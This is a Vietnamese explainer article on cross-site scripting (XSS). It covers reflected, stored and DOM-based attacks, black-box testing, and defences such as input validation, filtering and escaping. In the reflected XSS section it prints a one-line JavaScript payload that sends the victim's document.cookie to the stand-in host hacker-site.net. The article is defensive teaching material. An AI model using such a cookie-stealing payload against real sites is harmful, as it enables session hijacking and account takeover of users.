XSS có thể đang được thực thi trên trình duyệt nạn nhân hoặc thông qua bất cứ hình thức giả nào đang được hiển thị mà mọi người không biết. Các hình thức tấn công cơ bản Hiện nay trên thực tế có rất nhiều hình thức tấn công XSS có thể xuất hiện để đánh cắp thông tin, dữ liệu. Trong đó bạn có thể tham khảo một số hình thức phổ biến nhất của XSS như sau: Cuộc tấn công có thể xảy ra ở trên các lệnh độc hại đã được thực hiện ở Client Những trang web hay form giả mạo hiển thị cho người dùng. Cụ thể là những nơi mà người dùng nhập thông tin để đăng nhập hoặc là nhấp vào các liên kết đọc hại không rõ.  Quảng cáo được hiển thị ở các trang web mà mọi người truy cập vào.  Những email chứa thành phần độc hại gửi đến cho người dùng. Các cuộc tấn công XSS sẽ xảy ra một khi tin tặc tìm kiếm những lỗ hổng có Websie và gửi nó làm đầu vào độc hại Lúc này các tập lệnh độc hại sẽ tiêm vào mã lệnh và gửi đi dưới dạng đầu ra cho các đối tượng người dùng cuối cùng.  … [caption id="attachment_22256" align="aligncenter" width="771"] Tấn công XSS hiện nay cũng có độ phổ biến không nhỏ[/caption] Ví dụ cụ thể Bạn có thể tìm hiểu chi tiết qua ví dụ phân tích cụ thể. Ví dụ chúng ta có 1 trang web với trường Search. Nếu trường Search là trường có lỗ hổng vậy thì khi người dùng nhập bất kỳ một đoạn Script thì có sẽ được thực thi.  Ví dụ như người dùng nhập đoạn Script đơn giản như hình đây. Một khi nhấn nút “Search” Script được nhập sẽ được thực hiện.  [caption id="attachment_22260" align="aligncenter" width="771"] Hình minh họa[/caption] Như bạn có thể thấy trong ví dụ, Script đã nhập vào trường Search được thực thi. Điều này cho thấy lỗ hổng trong cuộc tấn công XSS. Thế nhưng một tập lệnh có hại hơn cũng được nhập. Nhiều Tester kết hợp tấn công Cross Site Scripting Javascrip Injection cũng được thực hiện ở Client. Trong cả 2, những Script tấn công độc hại sẽ được tiêm vào. Song trường hợp tấn công XSS các thẻ script không cần thiết để thực thi script. >>> Xem thêm: Mã hóa là gì? Vai trò và Các loại mã hóa phổ biến nhất 3 Xu hướng tấn công XSS thường gặp Như cũng đã nói trên cách tấn công của XSS phụ thuộc vào các loại tấn công cụ thể. Và theo như phân tích hiện nay XSS thực tế gồm 3 loại tấn công phổ biến. Vậy các loại tấn công XSS là gì? Chi tiết đã được phân tích như sau: Tấn công Reflected XSS Một thực tế cho thấy có rất nhiều hướng khác nhau để khai thác thông tin, dữ liệu thông qua lỗi Reflected XSS.  Đây cũng là một trong số các cách được sử dụng phổ biến để chiếm phiên việc làm (Session) của người dùng. Thông qua đây các Hacker có thể truy cập được vào dữ liệu dễ dàng để chiếm quyền của người dùng trên các website. Chi tiết quá trình như sau: Người dùng sẽ đăng nhập vào trang web. Giả sử trang web được gán session như sau “Set-Cookie:sesld=5e2c648fa5ef8d653adeede585dcde6f638639e4e59d4” Bằng một cách nào đó, gửi đến cho người dùng một Url nhất định. Trong đó Url chứa tên website mà nạn nhân truy cập và phía sau kèm theo trang của hacker tạo ra với tên gọi là hacker-site.net. Ví dụ như https://abcd.com/……….=”http://hacker-site.net/ Một khi người dùng nhập vào url được gửi, server hệ thống sẽ ngay lập tức phản hồi cho người dùng kèm theo những dữ liệu có trong đoạn Javascript của hacker. Lúc này trình duyệt của nạn nhân bắt đầu phản hồi và thực thi đoạn Javascript. Đoạn  Javascript được hacker tạo ra đa phân sẽ có dạng như sau: var i =new Image;i.src=”http://hacker-site.net/” +document.cookie; Các dòng lệnh trên thực tế thực hiện request đến site hacker với tham số cookie người dùng.  Cùng ở phía site của mình Hacker sẽ nắm bắt được những nội dung cụ thể mà bản thân request được ở trên. Vậy là xem như các session của người dùng đã bị chiếm đóng. Lúc này các hacker hoàn toàn có thể giả mạo tư cách người dùng để thực hiện quyền truy cập vào website mà người dùng đang có. [caption id="attachment_22264" align="aligncenter" width="771"] Quy trình tấn công của Reflected XSS[/caption] Tấn công Stored XSS Không giống như cuộc tấn công Reflected XSS thực hiện công cuộc tấn công trực tiếp tới hệ thống của một người dùng mà hacker đã nhắn đến. Stored XSS là loại tấn công sẽ thực hiện trấn áp đến nhiều hệ thống người dùng. Lỗi này không hết sẽ xảy ra  ở trường hợp ứng dụng web không được thực hiện kiểm tra kỹ lưỡng những dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu. Ví dụ như đối với những form góp ý hay các comment,.... xuất hiện trên website.  Diễn biến cuộc tấn công Đối với loại tấn công Stored các hacker thực tế không thể khai thác trực tiếp mà phải tuân thủ tối thiểu qua 2 bước như sau:  Đầu tiên Hacker thông qua các điểm đầu vào như form, input, textarea,... không được thực hiện kiểm tra kỹ lưỡng để chèn vào các đoạn mã nguy hiểm.  [caption id="attachment_22268" align="aligncenter" width="771"] Chèn mã độc nguy hiểm[/caption] Sau đó người dùng thực hiện lệnh truy cập vào các ứng dụng web. Một khi người dùng tiến hành những thao tác có liên quan đến dữ liệu được lưu này thì các đoạn mã của Hacker sẽ được thực thi. Quá trình thực thi sẽ được thực hiện trên trình duyệt của người dùng đang sử dụng.   [caption id="attachment_22272" align="aligncenter" width="771"] Kịch bản khai thác[/caption] So với Reflected XSS thì Stored XSS được đánh giá là nguy hiểm hơn rất nhiều. Đối tượng bị ảnh hưởng có thể là tất cả những người sử dụng ứng dụng web đó. Trong trường hợp nếu nạn nhân là quản trị viên thì còn có nguy cơ bị chiếm quyền vận hành web Sự khác biệt của loại tấn công Stored XSS và Reflected XSS Đối với hai loại tấn công này thực tế có 2 sự khác biệt lớn trong quá trình thực hiện tấn công xâm nhập dữ liệu.  Chi tiết như sau: Các hacker để khai thác được Reflected XSS Thì phải lừa được người dùng truy cập vào đường dẫn mà mình đã gửi.  Còn đối với Stored XSS không cần phải mất thời gian thao tác đó mà sau khi đã chèn được mã độc hại vào cơ sở dữ liệu ứng dụng hacker chỉ cần đời người dùng tự động truy cập. Đối với người dùng thì đây là việc hết sức bình thường bởi vì họ thực tế không biết việc dữ liệu của mình đã bị nhiễm mã độc.  Hầu hết mục tiêu chính của hacker là làm cách nào để lấy được các dữ liệu thông tin. Trong đó mục tiêu này sẽ dễ dàng hơn nếu ở thời điểm tấn công người dùng trong quá trình làm việc của ứng dụng website. Đối với Reflected XSS thì hacker có thể thuyết phục, lừa người dùng đăng nhập rồi truy cập vào đường dẫn đã cung cấp. Tuy nhiên với Stored XSS thì khác. Bởi vì độc hại đã được lưu ở trong cơ sở dữ liệu website nên bất kỳ khi nào người dùng truy cập đều sẽ làm cho mã độc thực thi. Đồng thời có khả năng yêu cầu người dùng xác nhận trước khi đăng nhập. nhập Tấn công DOM Based XSS Một loại hình tấn công tới cơ sở dữ liệu có phổ biến không kém đó chính là DOM Based XSS. Vậy bản chất DOM Based XSS là gì? Đây được xem là kỹ thuật khai thác XSS dựa vào cơ sở thay đổi những cấu trúc DOM của tài liệu. Cụ thể chính là HTML.  Giả sử như một website có đường dẫn đăng ký và khi truy cập vào  sẽ thấy một form bình thường. Lúc này người dùng sẽ không có chút nghi ngờ gì mà lựa chọn điền các thông tin như được yêu cầu. Thế nhưng Script sẽ  ngay lập tức thực thi vào cơ sở dữ liệu, thông tin hệ thống đã bị hack. Chỉ cần mẹo đơn giản là áp dụng DOM Based XSS các hacker đã có thể nhanh chóng xâm nhập vào hệ thống để chiếm đoạt  thông tin mà họ cần.  Vậy nên DOM Based XSS cũng được xếp vào dạng hình thức tấn công vô cùng nguy hiểm hiện nay. Chi tiết hơn bạn có thể tham khảo qua kịch bản tấn công được mô phỏng theo hình dưới đây. [caption id="attachment_22276" align="aligncenter" width="771"] Kịch bản tấn công Dom Based XSS[/caption] Cách kiểm tra và ngăn chặn các đợt tấn công XSS XSS thường xuyên tấn công người dùng dưới dạng âm thầm mà không hề hay biết. Thế nhưng bạn hoàn toàn có thể áp dụng các cách kiểm tra cụ thể hoặc sử dụng chiến thuật ngăn chặn các đợt tấn công. Vậy bạn còn chờ gì mà không nhanh tay ghi chép ngay cho mình các thông tin thiết yếu sau đây: Cách phát hiện Để có thể biết liệu các hacker có tấn công XSS vào hệ thống cơ sở dữ liệu hay không bạn hãy áp dụng cách kiểm tra thử hộp đen trước. Với cách này bạn có thể hiểu là chúng ta sẽ thực hiện test mà không cần xem xét đến code. Tất nhiên việc kiểm tra code luôn được các chuyên gia khuyến khích vì nó mang đến kết quả khả quan và đáng tin cậy hơn. Trong quá trình kiểm tra thử, các tester  nên nên xem xét những phần nào của website có nguy cơ bị tấn công bởi XSS. Bạn cũng nên liệt kê toàn bộ những nghi ngờ đó thành một tài liệu kiểm thử để giảm thiểu tình trạng bị thiếu sót. Sau đó, các tester hãy lập một bảng kế hoạch để xác định liệu Script nào thực sự cần thực hiện kiểm tra nhất. Trong đó điều quan trọng là kết quả liệu có ý nghĩa gì, ứng dụng ấy dễ bị lỗ hổng hay không và cần được phân tích kết quả sao cho kỹ càng nhất.  [caption id="attachment_22280" align="aligncenter" width="771"] Bạn hoàn toàn có thể phát hiện lỗ hổng tấn công XSS[/caption] Trong khi thực hiện kiểm tra thử nghiệm các cuộc tấn công bạn cần lưu ý kiểm tra xem nó đáp ứng như thế nào đối với những kịch bạn đã nhập? Liệu các kịch bản ấy có đang được thực thi không?  Cách ngăn chặn Có thể nhận định rằng XSS được xem là một dạng tấn công cơ sở dữ liệu khá nguy hiểm với nhiều rủi ro tiềm ẩn xảy ra nhất. Thế nhưng người dùng vẫn nên lập cho mình một kế hoạch cụ thể để ngăn ngừa tình trạng này xảy ra. Và thật may với độ phổ biến của các cuộc tấn công hiện đã có khá nhiều cách để ngăn chặn. Trong đó điển hình như Data Validation, Filtering, Escaping. Chi tiết như sau: Xác thực đầu vào  Đặc biệt công tác phòng chống tấn công đầu tiên bạn cần thực hiện đó là xác thực đầu vào. tất cả những gì được nhập bởi người dùng phải được xác minh chính xác. Bởi vì đầu vào sẽ tác động trực tiếp đến đầu ra. Việc xác thực này có thể được đặt tên làm cơ sở dữ liệu đồng thời đảm bảo về tính bảo mật của hệ thống dữ liệu đó. Tuy nhiên bạn nên lưu ý việc này cũng chỉ góp phần làm giảm thiểu được những rủi ro chứ không thể ngăn chặn triệt để các lỗ hổng mà sự tấn công XSS gây ra. [caption id="attachment_22284" align="aligncenter" width="771"] Nhằm giảm thiểu công cuộc tấn công bạn hãy xác thực đầu vào[/caption] Lọc đầu vào Một cách nữa bạn cũng có thể áp dụng để ngăn chặn quá trình tấn công XSS là lọc đầu vào của người dùng. Cách này bạn có thể hiểu là thực hiện tìm kiếm những từ khóa nguy hiểm ở mục nhập của người dùng. Sau đó bạn đem xóa chúng hoặc thực hiện các thao tác thay thế bằng chuỗi trống.  Các từ đó có thể sẽ là những thẻ như script hay lệnh javascript, đánh dấu HTML,... Việc lọc đầu vào của người dùng này thực tế cũng dễ thực hiện. Bạn hoàn toàn có thể áp dụng khoa nhiều cách khác nhau như:  Thực hiện bởi Developer đã viết mã phía server  Thông qua hệ thống thư viện ngôn ngữ lập trình thích hợp mà người dùng đang sử dụng. Trường hợp này nhìn chung một số Developer có thể viết mãi riêng của họ để tìm kiếm những từ khóa thích hợp và xóa chúng. Thế nhưng cách dễ dàng hơn mà các chuyên gia gợi ý là chọn thư viện ngôn ngữ lập trình thích hợp để lọc đầu vào. Đây được xem là cách đáng tin cậy vì các thư viện đó thực tế đã được nhiều nhà phát triển áp dụng và thử nghiệm. Sử dụng các ký tự Escape  Ngoài ra để phòng ngừa quá trình tấn công của XSS bạn cũng có thể áp dụng các ký tự Escape. Và trong thực tế hiện nay thì đa phần những ký tự này đang được thay đổi bằng các mã đặc biệt. Ví dụ ký tự Escape giống như & # 60. Điều quan trọng là bạn làm sao để tìm kiếm các thư viện thích hợp với ký tự Escape.  [caption id="attachment_22288" align="aligncenter" width="771"] Bạn cung có thể áp dụng cách sử dụng ký tự Escape[/caption] >>> Xem thêm: Svchost là gì? Cách xử lý Svchost giúp máy tính chạy mượt Mức độ nguy hiểm của XSS với Javascript Nhìn chung lỗ hổng bảo mật XSS được xem là ít nguy hiểm hơn so với lỗ hổng SQL Injection. Hậu quả của khả năng thực thi Javascript trên một nền tảng web ban đầu bạn nghĩ có vẻ không nghiêm trọng. Bởi vì hầu hết trình duyệt chạy Javascript trong môi trường được kiểm soát bảo mật chặt chẽ. Javascript bị giới hạn quyền truy cập tới hệ điều hành người dùng cùng các file dữ liệu người dùng. Mặc dù vậy nhưng Javascript vẫn có thể cực kỳ nguy hiểm nếu như nó bị lạm dụng trở thành các đoạn mã độc hại. Cụ thể như: Javascript độc hại có thể truy cập đến các đối tượng là phần còn lại của trang web có thể truy cập tới. Bao gồm cả việc truy cập tới Cookie người dùng. Nếu kẻ tấn công có được Session người dùng, họ có thể giả mạo danh tính người dùng thực sự. Sau đó họ thực hiện các hành động như xâm phạm dữ liệu nhạy cảm người dùng trên website đó. Javascript có thể đọc DOM và tạo ra các chỉnh sửa tùy ý.  Javascript có thể sử dụng Object XMLHttRequest gửi truy vấn HTTP cùng các nội dung tùy ý tới các điểm đích. Javascript trong trình duyệt hiện đại có thể sử dụng HTML5 APIs. Điển hình như nó có thể truy cập đến vị trí của người dùng, webcam, microphone thậm chí là các file dữ liệu cụ thể ở hệ điều hành của người dùng. Hệ thống API đều yêu cầu cấp quyền truy cập từ người dùng nhưng những kẻ tấn công có thể dùng thêm các phương án như Social Engineering để tiến xa hơn.  XSS có phải vấn đề người dùng cần quan tâm? Nếu một kẻ tấn công lạm dụng lỗ hổng XSS trên bất kỳ trang web nào để thực thi mã Javascript tùy ý ở trình duyệt người dùng thì ứng dụng đó và người dùng đều bị xâm hại. XSS không phải là vấn đề của người dùng tương tự như những lỗ hổng bảo mật khác. Nếu nó tác động đến người dùng của bạn thì nó ảnh hưởng tới bạn.  [caption id="attachment_22292" align="aligncenter" width="771"] XSS thực tế rất nguy hiểm[/caption] Cross-site Scripting cũng được sử dụng để deface website thay vì nhắm đến mục tiêu người dùng. Kẻ tấn công dùng những đoạn mã injection để thay đổi nội dung của trang web hoặc thậm chí chuyển hướng trình duyệt người dùng tới một website khác.  Những bài viết liên quan: Proxy là gì? Hướng dẫn kết nối và sử dụng Proxy chi tiết Password là gì? TOP 10 phần mềm quản lý Password tốt nhất WAF – Xu hướng bảo vệ Website trên đà chuyển đổi số Imunify360 là gì? Cách hoạt động & Tính năng của Imunify360 Trên đây là thông tin chi tiết giúp bạn giải đáp thắc mắc những vấn đề xung quanh về XSS. Hy vọng rằng qua đó bạn sẽ hiểu và áp dụng một cách hiểu quả những kiến thức gợi ý vào công việc trong thực tế để ngăn chặn sự tấn công từ XSS.